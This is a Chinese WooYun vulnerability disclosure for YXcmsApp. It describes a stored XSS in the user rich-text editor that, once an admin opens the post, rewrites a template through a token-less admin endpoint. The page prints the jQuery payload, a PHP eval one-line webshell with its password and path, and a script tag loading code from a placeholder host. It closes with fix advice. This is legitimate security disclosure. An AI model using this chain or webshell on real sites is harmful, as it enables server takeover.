当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-047805

漏洞标题:YXcmsApp某处xss导致getshell

相关厂商:YXCMS

漏洞作者: phith0n

提交时间:2014-01-05 17:04

修复时间:2014-04-05 17:05

公开时间:2014-04-05 17:05

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-04-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

xss到后台导致getshell一条龙服务~不过略鸡肋。

详细说明:

YXCMS是一款面向企业的内容管理系统,采用三级缓存,MVC架构以BSD协议开源。
注册了用户以后来到用户管理页面,点击信息发布 - 增加咨询,发现是一个富文本编辑器,kindeditor。不管是什么编辑器,既然给了一个用户这么大的权限,这种情况下很容易出现xss。
随便输入点什么东西,抓包,修改content字段内容,写你的xss代码,什么都行。

01.jpg


好了。管理员在后台就能看到我提交的文章:

02.jpg


然后编辑的话就能触发xss:

03.jpg


再利用后台的代码编辑功能我就能直接getshell了,先构造一个javascript,因为这个站是用Jquery写的前端,所以我们的xss代码也能直接用Jquery完成:

$(document).ready(function(){
var code = "<?php eval($_POST[f4ckkk]); ?><?php return array ( 'name' => '最新默认模板2013-2-1', 'author' => 'yx',); ?> ";
$.post("/tmp/index.php?r=admin/set/tpedit&Mname=default&fname=info.php", {
"code": code
},function(data){});
});


一个简单的post提交,因为没有验证token,所以也算一个CSRF。将以上代码保存为http://xxxxx/xx.js,然后作为xss代码就行了:</textarea><script src=”http://xxxx/xx.js”></script>
执行以后就会修改模板,加入我们的一句话。地址就是:/protected/apps/default/view/default/info.php 密码:f4ckkk

05.jpg


我们来到这个文件,可以看到我刚才post过去的内容已经完完整整地躺在那里了:

04.jpg

漏洞证明:

见详细说明。

修复方案:

原因是在接收用户发送来的内容时只对注入进行了防御:

if (get_magic_quotes_gpc()) {
$data['content'] = stripslashes($_POST['content']);
} else {
$data['content'] = $_POST['content'];
}


这种富文本的问题处理方式:
1.过滤危险的标签,但因为使用黑名单的方式所以很难完全防御
2.过滤<>'"&等,但又与其富文本的本质相违背
3.最终解决方案:使用ubb,相对来说最安全了。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝